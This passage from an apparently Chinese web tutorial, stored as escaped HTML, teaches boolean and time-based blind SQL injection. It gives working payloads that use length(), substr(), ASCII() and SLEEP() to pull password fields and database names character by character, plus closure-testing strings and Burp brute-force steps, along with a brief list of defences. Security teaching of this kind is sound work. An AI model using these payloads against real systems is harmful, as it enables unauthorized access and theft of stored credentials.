id=\"ud5f3a443\">\u76ee\u6807\u8868\u540d&#xff08;\u5982users&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"ub1df292f\">users<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u32da9091\">row<\/p>\n<\/td>\n<td>\n<p id=\"ud9b3b8fd\">\u884c\u7d22\u5f15&#xff08;\u4ece0\u5f00\u59cb&#xff0c;\u5bf9\u5e94row&#043;1\u884c&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u6b0567d6\">0\u2192\u7b2c1\u884c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u4c432283\">pos<\/p>\n<\/td>\n<td>\n<p id=\"uf437e500\">\u5b57\u7b26\u4f4d\u7f6e&#xff08;\u4ece1\u5f00\u59cb&#xff0c;\u5bf9\u5e94\u6570\u636e\u7684\u7b2cpos\u4f4d&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u1783b063\">1\u2192\u7b2c1\u4f4d<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ud9a628b6\">c<\/p>\n<\/td>\n<td>\n<p id=\"u617411a8\">\u731c\u6d4b\u7684\u5b57\u7b26&#xff08;\u5c0f\u5199\u5b57\u6bcd\/\u6570\u5b57&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u9f64ce49\">&#039;a&#039;&#xff08;\u6bd4\u5982\u6570\u636e\u7b2c1\u4f4d\u662fa&#xff09;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p id=\"u89b1a2c6\">\u5b9e\u6218\u6b65\u9aa4&#xff08;\u4ee5\u8868\u540dusers\u3001\u5217\u540dusername\u3001\u884c\u7d22\u5f15row&#061;0\u4e3a\u4f8b&#xff09;<\/p>\n<p id=\"u83e2a13e\">\u5047\u8bbe\u76ee\u6807\u6570\u636e\u662fadmin&#xff08;\u957f\u5ea65&#xff09;&#xff0c;\u6b65\u9aa4\u5982\u4e0b&#xff1a;<\/p>\n<li id=\"u1fbb70de\">\u5148\u7206\u8be5\u884c\u6570\u636e\u7684\u957f\u5ea6&#xff08;\u524d\u7f6e\u6b65\u9aa4&#xff09;&#xff1a; \u7528length()\u731c\u8be5\u884c\u6570\u636e\u7684\u957f\u5ea6&#xff08;\u6bd4\u5982admin\u957f\u5ea6\u4e3a5&#xff09;&#xff1a;<\/li>\n<p>?id&#061;1&#039; and length((select username from users limit 0,1))&#061;5 &#8211;&#043; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"uaca51ae8\">\u9875\u9762\u6b63\u5e38\u2192\u957f\u5ea6\u6b63\u786e&#xff08;L&#061;5&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u3ac12730\">\u7206\u7834\u7b2c1\u4f4d\u5b57\u7b26&#xff08;pos&#061;1&#xff09;&#xff1a; \u5c1d\u8bd5\u5b57\u7b26a&#xff08;\u5047\u8bbe\u6570\u636e\u7b2c1\u4f4d\u662fa&#xff09;&#xff1a;<\/li>\n<p>?id&#061;1&#039; and substr((select username from users limit 0,1),1,1)&#061;&#039;a&#039; &#8211;&#043; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u10e49d6b\">\u9875\u9762\u6b63\u5e38\u2192\u731c\u4e2d&#xff1b;\u9875\u9762\u9519\u8bef\u2192\u6362\u5b57\u7b26&#xff08;\u5982b\/c&#xff09;\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"u7ecd8ad2\">\u7206\u7834\u7b2c2~5\u4f4d\u5b57\u7b26&#xff1a; \u4f9d\u6b21\u5c06pos\u8bbe\u4e3a2~5&#xff0c;\u5c1d\u8bd5\u5bf9\u5e94\u5b57\u7b26&#xff08;\u6bd4\u5982d\/m\/i\/n&#xff09;&#xff0c;\u6700\u7ec8\u62fc\u63a5\u51faadmin\u3002<\/li>\n<h5 id=\"e9FKV\">6.4.6. \u4e5f\u53ef\u4ee5\u4f7f\u7528python\u811a\u672c<\/h5>\n<p id=\"u6a45e10b\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1069\" id=\"u705faf03\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131644-697374bcd1f23.png\" width=\"1919\" \/><\/p>\n<p id=\"u7b663914\">\u672c\u4eba\u5728\u8fd9\u91cc\u4e0d\u5c55\u5f00<\/p>\n<h5 id=\"WXsCc\">6.4.7. \u5e03\u5c14\u76f2\u6ce8\u7684\u653b\u51fb\u6d41\u7a0b\u3010\u6574\u5408\u3011<\/h5>\n<p id=\"ue7ef0592\">\u6b65\u9aa4 1&#xff1a;\u786e\u8ba4\u6ce8\u5165\u70b9<\/p>\n<ul>\n<li id=\"u9dcf8aad\">\u653b\u51fb\u8005\u901a\u8fc7\u8f93\u5165\u4e0d\u540c\u7684\u503c&#xff0c;\u89c2\u5bdf\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94&#xff0c;\u786e\u8ba4\u662f\u5426\u5b58\u5728\u5e03\u5c14\u76f2\u6ce8\u6f0f\u6d1e\u3002<\/li>\n<li id=\"u762d8da9\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ud1b42f4a\">\u8f93\u5165 1 AND 1&#061;1 \u548c 1 AND 1&#061;2&#xff0c;\u89c2\u5bdf\u9875\u9762\u662f\u5426\u53d1\u751f\u53d8\u5316\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u68305acc\">\u6b65\u9aa4 2&#xff1a;\u63a8\u5bfc\u5b57\u6bb5\u957f\u5ea6<\/p>\n<ul>\n<li id=\"ue69129c5\">\u4f7f\u7528 LENGTH() \u51fd\u6570\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u957f\u5ea6\u3002<\/li>\n<li id=\"u15974ff3\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u2563ec21\">\u8f93\u5165 1 AND (SELECT LENGTH(password) FROM users WHERE id&#061;1) &#061; 8&#xff0c;\u9010\u6b65\u8c03\u6574\u6570\u5b57&#xff0c;\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u957f\u5ea6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u9b427258\">\u6b65\u9aa4 3&#xff1a;\u9010\u5b57\u7b26\u63a8\u5bfc\u5b57\u6bb5\u5185\u5bb9<\/p>\n<ul>\n<li id=\"u3d9ffe42\">\u4f7f\u7528 SUBSTRING() \u548c ASCII() \u51fd\u6570\u9010\u5b57\u7b26\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u5185\u5bb9\u3002<\/li>\n<li id=\"u4ba3e88b\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u16ac2511\">\u8f93\u5165 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1)) &#061; 97&#xff0c;\u9010\u6b65\u8c03\u6574 ASCII \u503c&#xff0c;\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u5b57\u7b26\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u2bedda3e\">\u6b65\u9aa4 4&#xff1a;\u62fc\u63a5\u5b8c\u6574\u6570\u636e<\/p>\n<ul>\n<li id=\"u8f1965ab\">\u5c06\u9010\u5b57\u7b26\u63a8\u5bfc\u51fa\u7684\u5185\u5bb9\u62fc\u63a5\u6210\u5b8c\u6574\u7684\u5b57\u6bb5\u503c\u3002<\/li>\n<\/ul>\n<h5 id=\"XgJGT\">6.4.8. \u5e38\u7528\u51fd\u6570<\/h5>\n<table id=\"rGSNd\">\n<tbody>\n<tr>\n<td>\n<p id=\"u6d255b9f\">\u51fd\u6570<\/p>\n<\/td>\n<td>\n<p id=\"uefd8aeba\">\u63cf\u8ff0<\/p>\n<\/td>\n<td>\n<p id=\"uf64323a7\">\u793a\u4f8b<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u087d86db\">LENGTH()<\/p>\n<\/td>\n<td>\n<p id=\"u421c70e4\">\u8fd4\u56de\u5b57\u7b26\u4e32\u957f\u5ea6<\/p>\n<\/td>\n<td>\n<p id=\"uc2510c3e\">LENGTH(database())<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u0285db51\">SUBSTRING()\/SUBSTR()<\/p>\n<\/td>\n<td>\n<p id=\"u5030de0a\">\u63d0\u53d6\u5b50\u5b57\u7b26\u4e32<\/p>\n<\/td>\n<td>\n<p id=\"u6a3bda2a\">SUBSTRING(database(),1,1)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uff3831a8\">ASCII()<\/p>\n<\/td>\n<td>\n<p id=\"u47f59503\">\u8fd4\u56de\u5b57\u7b26\u7684ASCII\u7801<\/p>\n<\/td>\n<td>\n<p id=\"u67466331\">ASCII(SUBSTRING(database(),1,1))<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u196a6dda\">IF()<\/p>\n<\/td>\n<td>\n<p id=\"u3304d61e\">\u6761\u4ef6\u5224\u65ad<\/p>\n<\/td>\n<td>\n<p id=\"u0cd0bed0\">IF(1&#061;1,1,0)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uaf2e5403\">SLEEP()<\/p>\n<\/td>\n<td>\n<p id=\"u48f49c7b\">\u5ef6\u8fdf\u6267\u884c<\/p>\n<\/td>\n<td>\n<p id=\"u3cafd770\">SLEEP(5)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p id=\"u46718054\">ASCII()\u8fd9\u4e2a\u6bd4\u8f83\u5927\u5c0f\u66f4\u52a0\u65b9\u4fbf<\/p>\n<h5 id=\"It37i\">6.4.9. \u9632\u5fa1\u63aa\u65bd<\/h5>\n<li id=\"u7405ac79\">\u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2\/\u9884\u5904\u7406\u8bed\u53e5<\/li>\n<li id=\"udd10a445\">\u5b9e\u65bd\u6700\u5c0f\u6743\u9650\u539f\u5219<\/li>\n<li id=\"ufb50b2bd\">\u8f93\u5165\u9a8c\u8bc1\u548c\u8fc7\u6ee4<\/li>\n<li id=\"ube5a9fc9\">\u9519\u8bef\u5904\u7406&#xff1a;\u4e0d\u8fd4\u56de\u8be6\u7ec6\u9519\u8bef\u4fe1\u606f<\/li>\n<li id=\"u411100f2\">Web\u5e94\u7528\u9632\u706b\u5899(WAF)<\/li>\n<li id=\"uc12ed3e6\">\u5b9a\u671f\u5b89\u5168\u6d4b\u8bd5<\/li>\n<h4 id=\"sE8dj\">6.5. \u65f6\u95f4\u76f2\u6ce8<\/h4>\n<p id=\"u896f495b\">web\u754c\u9762\u53ea\u8fd4\u56de\u4e00\u4e2a\u6b63\u5e38\u9875\u9762\u3002\u5229\u7528\u9875\u9762\u54cd\u5e94\u65f6\u95f4\u4e0d\u540c\u9010\u4e2a\u731c\u89e3\u6570\u636e\u3002<\/p>\n<p id=\"u6fc484c1\">&#xff08;\u6570\u636e\u5e93\u4f1a\u6267\u884c\u547d\u4ee4\u4ee3\u7801&#xff0c;\u53ea\u662f\u4e0d\u53cd\u9988\u9875\u9762\u4fe1\u606f&#xff09;<\/p>\n<p id=\"ud62cdacf\">\u3010\u5e03\u5c14\u76f2\u6ce8\u662f\u901a\u8fc7\u56de\u663e\u7684\u5bf9\u9519\u63d0\u793a\u6765\u5224\u65ad\u662f\u5426\u6210\u529f<\/p>\n<p id=\"uce47b3f8\">\u65f6\u95f4\u76f2\u6ce8\u662f\u901a\u8fc7\u624b\u52a8\u63a7\u5236\u9875\u9762\u8fd4\u56de\u65f6\u95f4\u6765\u5224\u65ad\u662f\u5426\u6210\u529f\u3002\u3011<\/p>\n<h5 id=\"qOntP\">6.5.1. \u5b9a\u4e49<\/h5>\n<p id=\"ua22bc0cb\">\u4e5f\u53eb\u5ef6\u65f6\u6ce8\u5165\u3002\u901a\u8fc7\u89c2\u5bdf\u9875\u9762&#xff0c;\u65e2\u6ca1\u6709\u56de\u663e\u6570\u636e\u5e93\u5185\u5bb9&#xff0c;\u53c8\u6ca1\u6709\u62a5\u9519\u4fe1\u606f\u4e5f\u6ca1\u6709\u5e03\u5c14\u7c7b\u578b\u72b6\u6001&#xff0c;\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u8003\u8651\u7528\u201c\u7edd\u62db\u201d<\/p>\n<p id=\"u1eb6415d\">&#8211;\u5ef6\u65f6\u6ce8\u5165\u3002\u5ef6\u65f6\u6ce8\u5165\u5c31\u662f\u5c06\u9875\u9762\u7684\u65f6\u95f4\u7ebf\u4f5c\u4e3a\u5224\u65ad\u4f9d\u636e&#xff0c;\u4e00\u70b9\u4e00\u70b9\u6ce8\u5165\u51fa\u6570\u636e\u5e93\u7684\u4fe1\u606f\u3002\u6211\u4eec\u4ee5\u7b2c9\u5173\u4e3a\u4f8b&#xff0c;\u5728id&#061;1\u540e\u9762\u52a0\u5355\u5f15\u53f7\u6216\u8005\u53cc\u5f15\u53f7&#xff0c;\u9875\u9762\u4e0d\u4f1a\u53d1\u751f\u4efb\u4f55\u6539\u53d8&#xff0c;\u6240\u4ee5\u6211\u4eec\u8003\u8651\u7edd\u62db\u5ef6\u65f6\u6ce8\u5165\u3002<\/p>\n<h5 id=\"y4zbK\">6.5.2. \u5173\u952e\u51fd\u6570<\/h5>\n<h6 id=\"DAKDL\">6.5.2.1. sleep()\u51fd\u6570&#xff1a;<\/h6>\n<p id=\"u6c11dccf\">\u5ef6\u65f6\u51fd\u6570&#xff0c;\u53c2\u6570\u4e3a\u4f11\u7720\u65f6\u957f&#xff0c;\u53ef\u4e3a\u5c0f\u6570&#xff0c;\u5355\u4f4d \u79d2\u3002<\/p>\n<p id=\"ub7a7d853\">select sleep();<\/p>\n<p id=\"u33430ead\">sleep(N)\u51fd\u6570 \u5373\u5982\u679c\u5199\u5165\u5230\u6570\u636e\u5e93\u88ab\u6267\u884c\u4e86&#xff0c;sleep(N)\u53ef\u4ee5\u8ba9\u6b64\u8bed\u53e5\u8fd0\u884cN\u79d2\u949f&#xff08;\u901a\u8fc7\u6267\u884c\u65f6\u95f4\u6765\u5224\u65ad\u662f\u5426\u88ab\u6267\u884c&#xff0c;\u4f46\u662f\u53ef\u80fd\u4f1a\u56e0\u7f51\u901f\u7b49\u95ee\u9898\u9020\u6210\u53c2\u6570\u8bef\u5dee&#xff09;<\/p>\n<h6 id=\"bu3rD\">6.5.2.2. if()\u51fd\u6570&#xff1a;<\/h6>\n<p id=\"u20e113b4\">if(condition&#xff0c;true&#xff0c;false&#xff09;<\/p>\n<p id=\"u19a06ae7\">condition\u4e3a\u6761\u4ef6&#xff0c;\u6761\u4ef6\u4e3a\u771f\u65f6\u8fd4\u56detrue&#xff0c;\u6761\u4ef6\u4e3a\u5047\u65f6\u8fd4\u56defalse\u3002<\/p>\n<p>select if(1&#061;1,sleep(0),sleep(3));<br \/>\n#1&#061;1\u4e3a\u771f&#xff0c;\u6267\u884c\u4f11\u77200\u79d2<br \/>\nselect if(1&#061;2,sleep(0),sleep(3));<br \/>\n#1&#061;2\u4e3a\u5047&#xff0c;\u6267\u884c\u4f11\u77203\u79d2 <\/p>\n<h6 id=\"srws6\">6.5.2.3. substr()\u51fd\u6570&#xff1a;<\/h6>\n<p id=\"u438eca92\">substr((),1,1) \u4ece\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb&#xff0c;\u663e\u793a\u4e00\u4e2a\u5b57\u7b26\u3002<\/p>\n<h6 id=\"pu1lr\">6.5.2.4. ascii()\u51fd\u6570&#xff1a;<\/h6>\n<p id=\"ub71c75a5\">ascii(character)\u5f97\u5230\u5b57\u7b26\u7684ASCII\u7801\u503c\u3002<\/p>\n<h5 id=\"dQtmM\">6.5.3. \u5224\u65ad\u6ce8\u5165\u65b9\u5f0f<\/h5>\n<h6 id=\"k55Xy\">6.5.3.1. \u5224\u65ad\u6ce8\u5165\u70b9<\/h6>\n<p id=\"u0193251e\">1&#xff09;&#034;and 1&#061;1&#8211;&#043;  \u9875\u9762\u8fd4\u56de\u6709\u6570\u636e<\/p>\n<p id=\"u2ac5d483\">2&#xff09;&#034;and 1&#061;0&#8211;&#043;  \u9875\u9762\u8fd4\u56de\u6709\u6570\u636e<\/p>\n<p id=\"ua0f12b78\">\u5219&#xff1a;\u9875\u9762\u7684\u8fd4\u56de\u6ca1\u6709\u53d8\u5316&#xff0c;\u53ef\u80fd\u662f\u76f2\u6ce8<\/p>\n<h6 id=\"fe7do\">6.5.3.2. \u6d4b\u8bd5\u53ef\u6ce8\u5165\u65b9\u5f0f<\/h6>\n<p id=\"uadcaa8ea\">1&#xff09;\u9875\u9762\u6ca1\u6709\u56de\u663e\u4f4d\u7f6e&#xff08;\u8054\u5408\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528&#xff09;<\/p>\n<p id=\"u68232cbc\">2&#xff09;\u9875\u9762\u4e0d\u663e\u793a\u6570\u636e\u5e93\u7684\u62a5\u9519\u4fe1\u606f&#xff08;\u62a5\u9519\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528&#xff09;<\/p>\n<p id=\"u8bb35562\">3&#xff09;\u65e0\u8bba\u6210\u529f\u8fd8\u662f\u5931\u8d25&#xff0c;\u9875\u9762\u53ea\u54cd\u5e94\u4e00\u79cd\u7ed3\u679c&#xff08;\u5e03\u5c14\u76f2\u6ce8\u65e0\u6cd5\u4f7f\u7528&#xff09;<\/p>\n<p id=\"uf2dece05\">\u5224\u65ad\u4f7f\u7528\u65f6\u95f4\u76f2\u6ce8<\/p>\n<h5 id=\"MDI2o\">6.5.4. \u5224\u65ad\u95ed\u5408\u65b9\u5f0f\u3002<\/h5>\n<p id=\"u8104893e\">\u80fd\u6210\u529f\u7b49\u5f852\u79d2\u54cd\u5e94\u7684\u5373\u4e3a\u5176\u95ed\u5408\u65b9\u5f0f\u3002<\/p>\n<p>?id&#061;1 and sleep(2)&#8211;&#043;<br \/>\n?id&#061;1&#039; and sleep(2)&#8211;&#043;<br \/>\n?id&#061;1&#034; and sleep(2)&#8211;&#043;<br \/>\n?id&#061;1&#039;) and sleep(2)&#8211;&#043;<br \/>\n?id&#061;1&#034;) and sleep(2)&#8211;&#043;<br \/>\n&#8230; <\/p>\n<h5 id=\"Kw2xg\">6.5.5. \u6784\u9020\u65f6\u95f4\u5ef6\u8fdf\u6761\u4ef6<\/h5>\n<ul>\n<li id=\"u4d778a5b\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u5a4d6c87\">\u4f7f\u7528\u65f6\u95f4\u5ef6\u8fdf\u51fd\u6570&#xff08;\u5982 SLEEP()\u3001WAITFOR DELAY&#xff09;\u548c\u5b50\u67e5\u8be2&#xff0c;\u6784\u9020\u903b\u8f91\u6761\u4ef6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"ub3ae29e5\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"uba6e64e6\">\u7528\u6237\u8f93\u5165&#xff1a;1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1))&#061;97, SLEEP(5), 0)<\/li>\n<li id=\"u893707fd\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE id &#061; 1<br \/>\nAND<br \/>\nIF(ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1))&#061;97, SLEEP(5), 0); <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"ub569b4a9\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"u901f8eb1\">\u5982\u679c\u5bc6\u7801\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684 ASCII \u503c\u4e3a 97&#xff08;\u5373 &#039;a&#039;&#xff09;&#xff0c;\u5219\u67e5\u8be2\u5ef6\u8fdf 5 \u79d2&#xff1b;\u5426\u5219\u7acb\u5373\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"cgeZJ\">6.5.6. \u63a8\u5bfc\u5b57\u7b26\u4e32\u957f\u5ea6<\/h5>\n<ul>\n<li id=\"u022b4420\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u449af643\">\u4f7f\u7528 LENGTH() \u51fd\u6570\u7ed3\u5408\u65f6\u95f4\u5ef6\u8fdf\u51fd\u6570&#xff0c;\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u957f\u5ea6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"u05f23076\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u1adcfce9\">\u7528\u6237\u8f93\u5165&#xff1a;1 AND IF((SELECT LENGTH(password) FROM users WHERE id&#061;1)&#061;8, SLEEP(5), 0)<\/li>\n<li id=\"uff8c6784\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees<br \/>\nWHERE id &#061; 1<br \/>\nAND IF((SELECT LENGTH(password) FROM users WHERE id&#061;1)&#061;8, SLEEP(5), 0); <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"uc0e0536f\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"u87201c89\">\u5982\u679c\u5bc6\u7801\u7684\u957f\u5ea6\u662f 8&#xff0c;\u5219\u67e5\u8be2\u5ef6\u8fdf 5 \u79d2&#xff1b;\u5426\u5219\u7acb\u5373\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"cwlp9\">6.5.7. \u63a8\u5bfc\u5b57\u7b26\u4e32\u5185\u5bb9<\/h5>\n<ul>\n<li id=\"u2160a368\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"uaf2e8d63\">\u4f7f\u7528 SUBSTRING() \u548c ASCII() \u51fd\u6570\u9010\u5b57\u7b26\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u5185\u5bb9\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"ue9c2380b\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u011ae315\">\u7528\u6237\u8f93\u5165&#xff1a;1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1))&#061;97, SLEEP(5), 0)<\/li>\n<li id=\"u47abe13b\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE id &#061; 1<br \/>\nAND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1))&#061;97, SLEEP(5), 0); <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"ucd7dca20\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"uecc05d3d\">\u5982\u679c\u5bc6\u7801\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684 ASCII \u503c\u4e3a 97&#xff08;\u5373 &#039;a&#039;&#xff09;&#xff0c;\u5219\u67e5\u8be2\u5ef6\u8fdf 5 \u79d2&#xff1b;\u5426\u5219\u7acb\u5373\u8fd4\u56de\u7ed3\u679c\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"hOkiD\">6.5.8. \u65f6\u95f4\u76f2\u6ce8\u7684\u653b\u51fb\u6d41\u7a0b<\/h5>\n<p id=\"ufeb68ec0\">\u6b65\u9aa4 1&#xff1a;\u786e\u8ba4\u6ce8\u5165\u70b9<\/p>\n<ul>\n<li id=\"uc183e064\">\u653b\u51fb\u8005\u901a\u8fc7\u8f93\u5165\u4e0d\u540c\u7684\u503c&#xff0c;\u89c2\u5bdf\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94\u65f6\u95f4&#xff0c;\u786e\u8ba4\u662f\u5426\u5b58\u5728\u65f6\u95f4\u76f2\u6ce8\u6f0f\u6d1e\u3002<\/li>\n<li id=\"ub58c8a42\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u510d8ea2\">\u8f93\u5165 1 AND SLEEP(5)&#xff0c;\u89c2\u5bdf\u9875\u9762\u662f\u5426\u5ef6\u8fdf 5 \u79d2\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"ua22d9b08\">\u6b65\u9aa4 2&#xff1a;\u63a8\u5bfc\u5b57\u6bb5\u957f\u5ea6<\/p>\n<ul>\n<li id=\"uce1c93f3\">\u4f7f\u7528 LENGTH() \u51fd\u6570\u7ed3\u5408\u65f6\u95f4\u5ef6\u8fdf\u51fd\u6570&#xff0c;\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u957f\u5ea6\u3002<\/li>\n<li id=\"uc9a84dbc\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u57483922\">\u8f93\u5165 1 AND IF((SELECT LENGTH(password) FROM users WHERE id&#061;1)&#061;8, SLEEP(5), 0)&#xff0c;\u9010\u6b65\u8c03\u6574\u6570\u5b57&#xff0c;\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u957f\u5ea6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"ubaad6084\">\u6b65\u9aa4 3&#xff1a;\u9010\u5b57\u7b26\u63a8\u5bfc\u5b57\u6bb5\u5185\u5bb9<\/p>\n<ul>\n<li id=\"u62372bb0\">\u4f7f\u7528 SUBSTRING() \u548c ASCII() \u51fd\u6570\u7ed3\u5408\u65f6\u95f4\u5ef6\u8fdf\u51fd\u6570&#xff0c;\u9010\u5b57\u7b26\u63a8\u5bfc\u76ee\u6807\u5b57\u6bb5\u7684\u5185\u5bb9\u3002<\/li>\n<li id=\"u7c8b84d8\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u29bbe7b4\">\u8f93\u5165 1 AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id&#061;1), 1, 1))&#061;97, SLEEP(5), 0)&#xff0c;\u9010\u6b65\u8c03\u6574 ASCII \u503c&#xff0c;\u76f4\u5230\u627e\u5230\u6b63\u786e\u7684\u5b57\u7b26\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u6d3b4311\">\u6b65\u9aa4 4&#xff1a;\u62fc\u63a5\u5b8c\u6574\u6570\u636e<\/p>\n<ul>\n<li id=\"ud452cce9\">\u5c06\u9010\u5b57\u7b26\u63a8\u5bfc\u51fa\u7684\u5185\u5bb9\u62fc\u63a5\u6210\u5b8c\u6574\u7684\u5b57\u6bb5\u503c\u3002<\/li>\n<\/ul>\n<h5 id=\"DAVLd\">6.5.9. \u53ef\u4ee5\u4f7f\u7528\u522b\u7684\u65b9\u6cd5&#8211;burpsuite\u7206\u7834<\/h5>\n<h6 id=\"CFHWD\">6.5.9.1. \u5224\u65ad\u6570\u636e\u5e93\u7684\u957f\u5ea6<\/h6>\n<p>?id&#061;1 and if(length(database())&gt;&#061;5,sleep(3),sleep(1))<br \/>\n# \u6267\u884c\u4f11\u77201\u79d2<br \/>\n?id&#061;1 and if(length(database())&gt;&#061;4,sleep(3),sleep(1))<br \/>\n#\u6267\u884c\u4f11\u77203\u79d2<br \/>\n#\u6570\u636e\u5e93\u540d\u957f\u5ea6\u4e3a4 <\/p>\n<h6 id=\"G9Qdi\">6.5.9.2. \u7206\u6570\u636e\u5e93\u7684\u5e93\u540d<\/h6>\n<p>?id&#061;1 and if(substring(database(),1,1)&#061;&#039;a&#039;,sleep(5),sleep(1))<br \/>\n#\u6267\u884c\u4f11\u77201\u79d2<br \/>\n&#8230;<br \/>\n?id&#061;1 and if(substring(database(),1,1)&#061;&#039;s&#039;,sleep(5),sleep(1))<br \/>\n#\u6267\u884c\u4f11\u77205\u79d2<br \/>\n#\u6570\u636e\u5e93\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e3as<br \/>\n?id&#061;1 and if(substring(database(),2,1)&#061;&#039;q&#039;,sleep(5),sleep(1))<br \/>\n#\u6267\u884c\u4f11\u77205\u79d2<br \/>\n#\u6570\u636e\u5e93\u7b2c\u4e00\u4e2a\u5b57\u7b26\u4e3aq<\/p>\n<p id=\"u0ba5a06b\">\n<p 